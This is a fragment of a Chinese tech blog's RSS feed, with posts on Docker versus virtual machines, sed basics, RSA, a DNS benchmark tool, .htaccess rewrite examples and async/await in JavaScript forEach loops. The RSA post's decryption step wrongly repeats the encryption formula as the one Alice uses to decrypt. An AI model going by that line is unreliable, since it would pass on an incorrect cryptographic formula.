&lt;td&gt;秒级&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;资源占用&lt;/td&gt;
&lt;td&gt;高&lt;/td&gt;
&lt;td&gt;轻量&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;交付与部署方式&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;虚拟机&lt;/strong&gt;&lt;br /&gt;
通过镜像实现环境一致性，但部署速度慢，资源消耗大&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Docker&lt;/strong&gt;&lt;br /&gt;
通过 Dockerfile 记录构建过程，支持快速分发与部署，适合 CI/CD 流程与集群环境&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;总结&lt;/h2&gt;
&lt;p&gt;Docker 与虚拟机的最大区别在于架构轻量、启动迅速、资源利用率高。虽然在安全性上虚拟机更强，但 Docker 更适合现代微服务架构与 DevOps 流程。理解这些差异，将帮助你在实际项目中做出更合理的技术选型。&lt;/p&gt;
</content:encoded></item><item><title>sed 命令入门</title><link>https://blog.hiyun.top/posts/sed-%E5%91%BD%E4%BB%A4%E5%85%A5%E9%97%A8/</link><guid isPermaLink="true">https://blog.hiyun.top/posts/sed-%E5%91%BD%E4%BB%A4%E5%85%A5%E9%97%A8/</guid><description>sed 命令入门</description><pubDate>Tue, 09 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;sed 是文本处理三剑客之一&lt;/p&gt;
&lt;p&gt;掌握它能能很有效地提高我们的效率&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- more --&amp;gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;首先&lt;/h2&gt;
&lt;p&gt;阅读之前，我觉得你应该有：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;命令行基础（懂得如何打开 cmd 和使用命令）&lt;/li&gt;
&lt;li&gt;sed 可以在 Linux 或 Git Bash 下运行&lt;/li&gt;
&lt;li&gt;了解使用 Linux 或 Git&lt;/li&gt;
&lt;li&gt;知道什么是 cat 命令&lt;/li&gt;
&lt;li&gt;正则表达式的基础&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;sed 介绍&lt;/h2&gt;
&lt;p&gt;sed 是什么？&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;awk、grep、sed 是 linux 操作文本的三大利器，合称文本三剑客，也是必须掌握的 linux 命令之一&lt;/p&gt;
&lt;p&gt;三者的功能都是处理文本，但侧重点各不相同，其中属 awk 功能最强大，但也最复杂&lt;/p&gt;
&lt;p&gt;grep 更适合单纯的查找或匹配文本&lt;/p&gt;
&lt;p&gt;sed 更适合编辑匹配到的文本&lt;/p&gt;
&lt;p&gt;awk 更适合格式化文本，对文本进行较复杂格式处理&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;sed 的工作原理：&lt;strong&gt;在处理文本时逐行读取文件内容，读到匹配的行就根据指令做操作，不匹配就跳过&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;调用 sed 命令的语法有两种：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;在命令行指定 sed 指令对文本进行处理：sed + 选项 &apos;指令&apos; 文件&lt;/li&gt;
&lt;li&gt;先将 sed 指令保存到文件中，将该文件作为参数进行调用， sed + 选项 -f 包含sed指令的文件 文件&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;以下选项看看即可&lt;/p&gt;
&lt;p&gt;sed 的常用选项:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;选项&lt;/th&gt;
&lt;th&gt;含义&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;-e&lt;/td&gt;
&lt;td&gt;它告诉 sed 将下一个参数解释为一个 sed 指令，只有当命令行上给出多个 sed 指令时才需要使用-e 选项&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;-f&lt;/td&gt;
&lt;td&gt;后跟保存了 sed 指令的文件&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;-i&lt;/td&gt;
&lt;td&gt;直接对内容进行修改，不加-i 时默认只是预览，不会对文件做实际修改&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;-n&lt;/td&gt;
&lt;td&gt;取消默认输出，sed 默认会输出所有文本内容，使用-n 参数后只显示处理过的行&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;sed 中的常用指令:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;命令&lt;/th&gt;
&lt;th&gt;含义&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;a-追加&lt;/td&gt;
&lt;td&gt;向匹配行后面插入内容&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;i-插入&lt;/td&gt;
&lt;td&gt;向匹配行前插入内容&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;c-更改&lt;/td&gt;
&lt;td&gt;更改匹配行的内容&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;d-删除&lt;/td&gt;
&lt;td&gt;删除匹配的内容&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;s-替换&lt;/td&gt;
&lt;td&gt;替换掉匹配的内容&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;p-打印&lt;/td&gt;
&lt;td&gt;打印出匹配的内容，通常与-n 选项和用&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;=&lt;/td&gt;
&lt;td&gt;用来打印被匹配的行的行号&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;n&lt;/td&gt;
&lt;td&gt;读取下一行，遇到 n 时会自动跳入下一行&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;r,w&lt;/td&gt;
&lt;td&gt;读和写编辑命令，r 用于将内容读入文件，w 用于将匹配内容写入到文件&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
</content:encoded></item><item><title>RSA加密算法简介</title><link>https://blog.hiyun.top/posts/rsa%E5%8A%A0%E5%AF%86%E7%AE%97%E6%B3%95%E7%AE%80%E4%BB%8B/</link><guid isPermaLink="true">https://blog.hiyun.top/posts/rsa%E5%8A%A0%E5%AF%86%E7%AE%97%E6%B3%95%E7%AE%80%E4%BB%8B/</guid><description>RSA加密算法简介</description><pubDate>Thu, 07 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;概述&lt;/h2&gt;
&lt;p&gt;RSA加密算法是一种非对称加密算法，在公开密钥加密和电子商业中被广泛使用。RSA是由罗纳德·李维斯特（Ron Rivest）、阿迪·萨莫尔（Adi Shamir）和伦纳德·阿德曼（Leonard Adleman）在1977年一起提出的。当时他们三人都在麻省理工学院工作。RSA就是他们三人姓氏开头字母拼在一起组成的&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- more --&amp;gt;&lt;/p&gt;
&lt;h2&gt;前置知识&lt;/h2&gt;
&lt;h3&gt;欧拉函数&lt;/h3&gt;
&lt;p&gt;在数论中，对正整数n，欧拉函数$\displaystyle \varphi (n)$是小于等于$\displaystyle n$的正整数中与$\displaystyle n$互质的数的数目。例如$\displaystyle \varphi \left(8\right)=4$，因为1、3、5和7均与8互质。
欧拉函数是积性函数，即是说若$\displaystyle m,n$互质，则：
$$\displaystyle \varphi (mn)=\varphi (m)\varphi (n)
$$
使用中国剩余定理有较简略的证明：设$\displaystyle A,B,C$是跟$\displaystyle m,n ,mn$互质的数的集，据中国剩余定理，$\displaystyle A\times B$和$\displaystyle C$可建立双射（一一对应）关系，因此两者元素个数相等&lt;/p&gt;
&lt;h3&gt;欧拉定理&lt;/h3&gt;
&lt;p&gt;在数论中，欧拉定理（也称费马-欧拉定理）是一个关于同余的性质。欧拉定理表明，若$\displaystyle n,a$为正整数，且$\displaystyle n,a$互素（即$\displaystyle \gcd(a,n)=1$），则：
$$\displaystyle a^{\varphi (n)}\equiv 1{\pmod {n}}
$$
即$\displaystyle a^{\varphi (n)}$与$\displaystyle 1$在模$\displaystyle n$下同余。欧拉定理实际上是费马小定理的推广&lt;/p&gt;
&lt;h3&gt;模逆元&lt;/h3&gt;
&lt;p&gt;模逆元（Modular multiplicative inverse）也称为模倒数、数论倒数。
一整数$\displaystyle a$对同余$\displaystyle n$之模逆元是指满足以下公式的整数$\displaystyle b$：
$$\displaystyle a^{-1}\equiv b{\pmod {n}}.
$$
也可以写成$\displaystyle ab\equiv 1{\pmod {n}}$或者$\displaystyle ab\mod {n}=1$。
整数$\displaystyle a$对模数$\displaystyle n$之模逆元存在的充分必要条件是$\displaystyle a$和$\displaystyle n$互素，若此模逆元存在，在模数$\displaystyle n$下的除法可以用和对应模逆元的乘法来达成，此概念和实数除法的概念相同&lt;/p&gt;
&lt;h2&gt;RSA算法&lt;/h2&gt;
&lt;h3&gt;公钥与私钥的产生&lt;/h3&gt;
&lt;p&gt;假设Alice想要通过不可靠的媒体接收Bob的私人消息。她可以用以下的方式来产生一个公钥和一个私钥：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;随意选择两个大的素数$\displaystyle p$和$\displaystyle q$，$\displaystyle p$不等于$\displaystyle q$，计算$\displaystyle N=pq$。&lt;/li&gt;
&lt;li&gt;根据欧拉函数，求得$\displaystyle r=\varphi (N)=\varphi (p)\times \varphi (q)=(p-1)(q-1)$。&lt;/li&gt;
&lt;li&gt;选择一个小于$\displaystyle r$的整数$\displaystyle e$，使$\displaystyle e$与$\displaystyle r$互质。并求得$\displaystyle e$关于$\displaystyle r$的模逆元，命名为$\displaystyle d$（求$\displaystyle d$令$\displaystyle ed\equiv 1{\pmod {r}}$）。（模逆元存在，当且仅当$\displaystyle e$与$\displaystyle r$互质。）&lt;/li&gt;
&lt;li&gt;将$\displaystyle p$和$\displaystyle q$的记录销毁&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;其中，$\displaystyle (N,e)$是公钥，$\displaystyle (N,d)$是私钥。Alice将她的公钥$\displaystyle (N,e)$传给Bob，而将她的私钥$\displaystyle (N,d)$藏起来&lt;/p&gt;
&lt;h3&gt;加密消息&lt;/h3&gt;
&lt;p&gt;假设Bob想给Alice送消息$\displaystyle m$，他知道Alice产生的$\displaystyle N$和$\displaystyle e$。他使用起先与Alice约好的格式将$\displaystyle m$转换为一个小于$\displaystyle N$的非负整数$\displaystyle n$，比如他可以将每一个字转换为这个字的Unicode码，然后将这些数字连在一起组成一个数字。假如他的信息非常长的话，他可以将这个信息分为几段，然后将每一段转换为$\displaystyle n$。用下面这个公式他可以将$\displaystyle n$加密为$\displaystyle c$：
$$\displaystyle c=n^{e}{\bmod {N}}
$$
这里的$\displaystyle c$可以用模幂算法快速求出来。Bob算出$\displaystyle c$后就可以将它传递给Alice&lt;/p&gt;
&lt;h3&gt;解密消息&lt;/h3&gt;
&lt;p&gt;Alice得到Bob的消息$\displaystyle c$后就可以利用她的密钥$\displaystyle d$来解码。她可以用以下这个公式来将$\displaystyle c$转换为$\displaystyle n$：
$$\displaystyle c=n^{e}{\bmod {N}}
$$
与Bob计算$\displaystyle c$类似，这里的$\displaystyle n$也可以用模幂算法快速求出。得到$\displaystyle n$后，她可以将原来的信息$\displaystyle m$重新复原
解码的原理是
$$\displaystyle c^{d}\equiv n^{e\cdot d}\ (\mathrm {mod} \ N)
$$
已知$\displaystyle ed\equiv 1{\pmod {r}}$，即 $\displaystyle ed=1+h\varphi (N)$。那么有
$$\displaystyle n^{ed}=n^{1+h\varphi (N)}=n\cdot n^{h\varphi (N)}=n\left(n^{\varphi (N)}\right)^{h}
$$&lt;/p&gt;
&lt;p&gt;若$\displaystyle n$与$\displaystyle N$互素，则由欧拉定理得：&lt;/p&gt;
&lt;p&gt;$$\displaystyle n^{ed}\equiv n\left(n^{\varphi (N)}\right)^{h}\equiv n(1)^{h}\equiv n{\pmod {N}}
$$&lt;/p&gt;
&lt;p&gt;若$\displaystyle n$与$\displaystyle N$不互素，则不失一般性考虑$\displaystyle n=ph$，以及$\displaystyle ed-1=k(q-1)$，得：&lt;/p&gt;
&lt;p&gt;$$\displaystyle n^{ed}=(ph)^{ed}\equiv 0\equiv ph\equiv n{\pmod {p}}
$$
$$\displaystyle n^{ed}=n^{ed-1}n=n^{k(q-1)}n=(n^{q-1})^{k}n\equiv 1^{k}n\equiv n{\pmod {q}}
$$
故$\displaystyle n^{ed}\equiv n{\pmod {N}}$得证&lt;/p&gt;
&lt;h3&gt;签名消息&lt;/h3&gt;
&lt;p&gt;RSA也可以用来为一个消息署名。假如Alice想给Bob传递一个署名的消息的话，那么她可以为她的消息计算一个散列值（Message digest），然后用她的私钥“加密”（如同前面“加密消息”的步骤）这个散列值并将这个“署名”加在消息的后面。这个消息只有用她的公钥才能被解密。Bob获得这个消息后可以用Alice的公钥“解密”（如同前面“解密消息”的步骤）这个散列值，然后将这个数据与他自己为这个消息计算的散列值相比较。假如两者相符的话，那么Bob就可以知道发信人持有Alice的私钥，以及这个消息在传播路径上没有被篡改过&lt;/p&gt;
&lt;h2&gt;RSA安全性&lt;/h2&gt;
&lt;p&gt;假设偷听者Eve获得了Alice的公钥$\displaystyle N$和$\displaystyle e$以及Bob的加密消息$\displaystyle c$，但她无法直接获得Alice的密钥$\displaystyle d$。要获得$\displaystyle d$，最简单的方法是将$\displaystyle N$分解为$\displaystyle p$和$\displaystyle q$，这样她可以得到同余方程
$$\displaystyle de\equiv 1(\mathrm {mod} (p-1)(q-1))
$$
并解出$\displaystyle d$，然后代入解密公式
$$\displaystyle c^{d}\equiv n\ (\mathrm {mod} \ N)
$$
导出$\displaystyle n$（破密）
至今为止还没有人找到一个多项式时间的算法来分解一个大的整数的因子，也没有找到比因数分解更简单的破密方法。因此今天一般认为只要$\displaystyle N$足够大，黑客就没有办法破解
NIST建议的RSA密钥长度为至少2048位。实现上，强制设置密钥长度为2048位的称RSA或RSA2（意即RSA version 2），而未强制设置的称RSA1以资区别，两者差异主要在密钥长度&lt;/p&gt;
&lt;h2&gt;参考资料&lt;/h2&gt;
&lt;p&gt;维基百科：&lt;a href=&quot;https://zh.wikipedia.org/wiki/%E6%AC%A7%E6%8B%89%E5%87%BD%E6%95%B0&quot;&gt;欧拉函数&lt;/a&gt;
维基百科：&lt;a href=&quot;https://zh.wikipedia.org/wiki/%E6%AC%A7%E6%8B%89%E5%AE%9A%E7%90%86_(%E6%95%B0%E8%AE%BA)&quot;&gt;欧拉定理（数论）&lt;/a&gt;
维基百科：&lt;a href=&quot;https://zh.wikipedia.org/wiki/%E6%A8%A1%E5%8F%8D%E5%85%83%E7%B4%A0&quot;&gt;模逆元&lt;/a&gt;
维基百科：&lt;a href=&quot;https://zh.wikipedia.org/wiki/%E6%A8%A1%E5%B9%82&quot;&gt;模幂&lt;/a&gt;
维基百科：&lt;a href=&quot;https://zh.wikipedia.org/wiki/RSA%E5%8A%A0%E5%AF%86%E6%BC%94%E7%AE%97%E6%B3%95&quot;&gt;RSA加密算法&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>DNS测试工具-测一下全世界</title><link>https://blog.hiyun.top/posts/dns%E6%B5%8B%E8%AF%95%E5%B7%A5%E5%85%B7-%E6%B5%8B%E4%B8%80%E4%B8%8B%E5%85%A8%E4%B8%96%E7%95%8C/</link><guid isPermaLink="true">https://blog.hiyun.top/posts/dns%E6%B5%8B%E8%AF%95%E5%B7%A5%E5%85%B7-%E6%B5%8B%E4%B8%80%E4%B8%8B%E5%85%A8%E4%B8%96%E7%95%8C/</guid><description>DNS测试工具-测一下全世界</description><pubDate>Wed, 16 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;&lt;a href=&quot;https://github.com/xxnuo/dns-benchmark&quot;&gt;dnspy&lt;/a&gt; - 测试全世界的 DNS 服务器&lt;/h2&gt;
&lt;p&gt;&amp;lt;!-- more --&amp;gt;&lt;/p&gt;
&lt;p&gt;数据分析面板预览&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xxnuo/dns-benchmark/master/images/preview.png&quot; alt=&quot;数据分析面板预览&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://bench.dash.2020818.xyz/&quot;&gt;数据分析面板，内含示例数据&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;测试工具&lt;/h2&gt;
&lt;p&gt;在本仓库的 &lt;a href=&quot;https://github.com/xxnuo/dns-benchmark/releases&quot;&gt;releases&lt;/a&gt; 页面中按你的系统架构下载 &lt;code&gt;dnspy-*&lt;/code&gt; 文件，比如我的 PC 是 Intel 处理器的 macOS，所以下载 &lt;code&gt;dnspy-darwin-amd64&lt;/code&gt; 文件&lt;/p&gt;
&lt;p&gt;然后&lt;strong&gt;必须关闭所有代理软件的 Tun 模式、虚拟网卡模式，否则会影响测试结果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;重命名文件为 &lt;code&gt;dnspy&lt;/code&gt;（Windows 是 &lt;code&gt;dnspy.exe&lt;/code&gt;），然后打开终端，进入到你这个文件所在的目录。执行命令开始测试&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;unset http_proxy https_proxy all_proxy HTTP_PROXY HTTPS_PROXY ALL_PROXY
./dnspy
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;按提示输入启动测试&lt;/p&gt;
&lt;p&gt;默认使用多线程模式，以加快测试速度。但是默认参数 10 个线程需要至少上下行 1 MB/s 网络和至少 4 核心处理器
如果网络或处理器不好，会导致测试结果不准确，必须通过&lt;code&gt;-w&lt;/code&gt; 参数降低线程数。&lt;/p&gt;
&lt;p&gt;测试完成后会输出到当前目录下形如 &lt;code&gt;dnspy_result_2024-11-07-17-32-13.json&lt;/code&gt; 的 JSON 文件中&lt;/p&gt;
&lt;p&gt;按程序提示输入 &lt;code&gt;Y&lt;/code&gt; 或 &lt;code&gt;y&lt;/code&gt; 或直接回车，会自动打开数据分析面板网站，点击网站右上角的 &lt;code&gt;读取分析&lt;/code&gt; 按钮，选择你刚才的 JSON 文件，就可以看到可视化测试结果了&lt;/p&gt;
</content:encoded></item><item><title>htaccess文件格式</title><link>https://blog.hiyun.top/posts/htaccess%E6%96%87%E4%BB%B6%E6%A0%BC%E5%BC%8F/</link><guid isPermaLink="true">https://blog.hiyun.top/posts/htaccess%E6%96%87%E4%BB%B6%E6%A0%BC%E5%BC%8F/</guid><description>htaccess文件格式</description><pubDate>Tue, 29 Apr 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;https://dimg04.tripcdn.com/images/0Z013224x8xro6e4w4B66.jpg&quot; alt=&quot;htaccess&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- more --&amp;gt;&lt;/p&gt;
&lt;h2&gt;htaccess文件简介&lt;/h2&gt;
&lt;p&gt;htaccess文件是Apache服务器中的一个配置文件，负责相关目录下的网页配置
/www/html下的.htaccess文件与主配置文件中段中内容完全等效
.htaccess文件中的配置指令作用于.htaccess文件所在的目录及其所有子目录
且子目录中的指令会覆盖父目录或者主配置文件中的指令&lt;/p&gt;
&lt;h2&gt;rewrite的语法格式：&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;RewriteEngine On #启用rewrite起作用。&lt;/li&gt;
&lt;li&gt;RewriteBase url-path #设定基准目录。&lt;/li&gt;
&lt;li&gt;RewriteCond test-string condPattern #用于测试rewrite的匹配条件。&lt;/li&gt;
&lt;li&gt;RewriteRule Pattern Substitution #规则&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;RewriteEngine On|Off&lt;/h3&gt;
&lt;p&gt;RewriteEngine 用于开启或停用rewrite功能。rewrite configurations 不会自动继承&lt;/p&gt;
&lt;h3&gt;RewriteBase URL-path&lt;/h3&gt;
&lt;p&gt;RewriteBase用于设定重写的基准URL
RewriteRule可以用于目录级的配置文件中 (.htaccess)并在局部范围内起作用
即规则实际处理的只是剥离了本地路径前缀的一部分
处理结束后，这个路径会被自动地附着回去
默认值是”RewriteBase physical-directory-path”&lt;/p&gt;
&lt;h3&gt;RewriteCond TestString CondPattern [flags]&lt;/h3&gt;
&lt;p&gt;RewriteCond指令定义了一个规则的条件，即，在一个RewriteRule指令之前有一个或多个RewriteCond指令
条件之后的重写规则仅在当前URI与pattern匹配并且符合这些条件的时候才会起作用
TestString是一个纯文本的字符串
但是还可以包含下列可扩展的成分:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;+RewriteRule反向引用: 引用方法是 $N (0 &amp;lt;= N &amp;lt;= 9) 引用当前(带有若干RewriteCond指令的)RewriteRule中的与pattern匹配的分组成分(圆括号!)
+RewriteCond反向引用: 引用方法是 %N (1 &amp;lt;= N &amp;lt;= 9) 引用当前若干RewriteCond条件中最后符合的条件中的分组成分(圆括号!)
+RewriteMap 扩展: 引用方法是 ${mapname:key|default} + 服务器变量: 引用方法是 %{ NAME_OF_VARIABLE } CondPattern是条件参数
Flags标识是是第三个参数,可选OR、AND、NC，默认为AND
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;RewriteRule Pattern Substitution [Flags]&lt;/h3&gt;
&lt;p&gt;其中的Pattern就是参数，一般为一些文件的扩展名
Substitution是用来替换前面用的，这儿的Flags
常用的R表示 redirect（强制重定向），F表示forbidden（禁止访问），L表示last（最后）
通常当你希望停止重写操作而立即重定向时，可用它&lt;/p&gt;
&lt;h2&gt;.htaccess文件URL重写写法例子&lt;/h2&gt;
&lt;h3&gt;1. 反盗链&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;RewriteBase /
RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{HTTP_REFERER} !^http://(www.)?yoursite.com/.*$ [NC]
RewriteRule .(gif|jpg|swf|flv|png)$ /feed/ [R=302,L]
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2. 防止目录浏览&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;Options All -Indexes
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3. SEO友好的301永久重定向&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;Redirect 301 http://www.yoursite.com/article.html http://www.yoursite.com/archives/article
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;4. 显示个性化的 404 错误页面&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;ErrorDocument 404 /404.html
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;5. 设置目录的默认页面&lt;/h3&gt;
&lt;p&gt;假如你需要为不同的目录设置不同的默认页面，你可以很容易的通过 .htaccess 实现：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;DirectoryIndex about.html
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;6. 基于referer来限制网站访问&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;
RewriteEngine on  RewriteCond %{HTTP_REFERER} spamteam.com [NC,OR]
RewriteCond %{HTTP_REFERER} trollteam.com [NC,OR]
RewriteRule .* – [F]
&amp;lt;/ifModule&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;7. 限制PHP上传文件大小&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;php_value upload_max_filesize 20M
php_value post_max_size 20M
php_value max_execution_time 200
php_value max_input_time 200
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;8. 通过压缩文件来减少网络流量&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;AddOutputFilterByType DEFLATE text/plain
AddOutputFilterByType DEFLATE text/html
AddOutputFilterByType DEFLATE text/xml
AddOutputFilterByType DEFLATE text/css
AddOutputFilterByType DEFLATE application/xml
AddOutputFilterByType DEFLATE application/xhtml+xml
AddOutputFilterByType DEFLATE application/rss+xml
AddOutputFilterByType DEFLATE application/javascript
AddOutputFilterByType DEFLATE application/x-javascript
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;9. 缓存文件&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;FilesMatch “.(flv|gif|jpg|jpeg|png|ico|swf|js|css|pdf)$”&amp;gt;
Header set Cache-Control “max-age=2592000〃
&amp;lt;/FilesMatch&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;10. 添加尾部的反斜杠&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;
RewriteCond %{REQUEST_URI} /+[^\.]+$
RewriteRule ^(.+[^/])$ %{REQUEST_URI}/ [R=301,L]
&amp;lt;/IfModule&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;11. 处理移动过的文件&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;Redirect 301 /old.html http://yoursite.com/new.html
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;或者是&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;RewriteRule /old.html http://yoursite.com/new.html [R=301,L]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果想隐式跳转&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;RewriteRule /old.html http://yoursite.com/new.html [L]
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;12. html后缀的url链接到php文件&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;RewriteRule ^/?([a-z/]+)\.html$ $1.php [L]
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;13. 旧文件夹的内容链接到新文件夹&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;RewriteRule ^/?old_directory/([a-z/.]+)$ new_directory/$1 [R=301,L]
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;14. 隐藏文件名&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;RewriteRule ^/?([a-z]+)$ $1.php [L]
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;15. 阻止/允许特定IP/IP段&lt;/h3&gt;
&lt;p&gt;禁止所有IP，除了指定的&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;order deny,allow
deny from all
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果想允许IP段，如123.123.123.0 ~ 123.123.123.255，则&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;allow from 123.123.123.
allow from 123.123.123.123

ErrorDocument 403 /page.html

&amp;lt;Files page.html&amp;gt;
allow from all
&amp;lt;/Files&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果想禁止特定IP&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;deny from 123.123.123.123
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;16. 添加MIME类型&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;AddType video/x-flv .flv
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果设置类型为 application/octet-stream 将提示下载&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;AddType application/octet-stream .pdf
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>JavaScript中forEach方法的async/await异步问题</title><link>https://blog.hiyun.top/posts/javascript%E4%B8%ADforeach%E6%96%B9%E6%B3%95%E7%9A%84async_await%E5%BC%82%E6%AD%A5%E9%97%AE%E9%A2%98/</link><guid isPermaLink="true">https://blog.hiyun.top/posts/javascript%E4%B8%ADforeach%E6%96%B9%E6%B3%95%E7%9A%84async_await%E5%BC%82%E6%AD%A5%E9%97%AE%E9%A2%98/</guid><description>JavaScript中forEach方法的async/await异步问题</description><pubDate>Tue, 11 Mar 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;最近在用Node JS写个小项目的时候发现了一个之前没有注意过的问题
数组使用forEach方法进行异步操作时执行顺序可能会出现问题
这篇文章就来简单谈一谈产生这个问题具体原因以及解决方法&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- more --&amp;gt;&lt;/p&gt;
&lt;h2&gt;问题描述&lt;/h2&gt;
&lt;p&gt;当时遇到的问题与SQL写入操作有关，简化一下相当于：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var numList = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10];

numList.forEach(async (e)=&amp;gt;{
    await new Promise((res, rej)=&amp;gt;{
        //模拟一个耗时不确定的异步过程
        setTimeout(()=&amp;gt;{
            console.log(e)
            res(e);
        }, Math.random()*1000); 
    });
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;本来期望的是使用await来阻塞异步函数，使其按循环顺序得到结果
但实际得到的却是一个随机的数列
下面来分析一下原因&lt;/p&gt;
&lt;h2&gt;for循环中的情况&lt;/h2&gt;
&lt;p&gt;将上面的代码用for循环改写得到&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var numList = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10];

(async function(){
    for (let index = 0; index &amp;lt; numList.length; index++) {
        const element = numList[index];
        await new Promise((res, rej)=&amp;gt;{
            //模拟一个耗时不确定的异步过程
            setTimeout(()=&amp;gt;{
                console.log(element)
                res(element);
            }, Math.random()*1000); 
        });
    }
})();
&lt;/code&gt;&lt;/pre&gt;
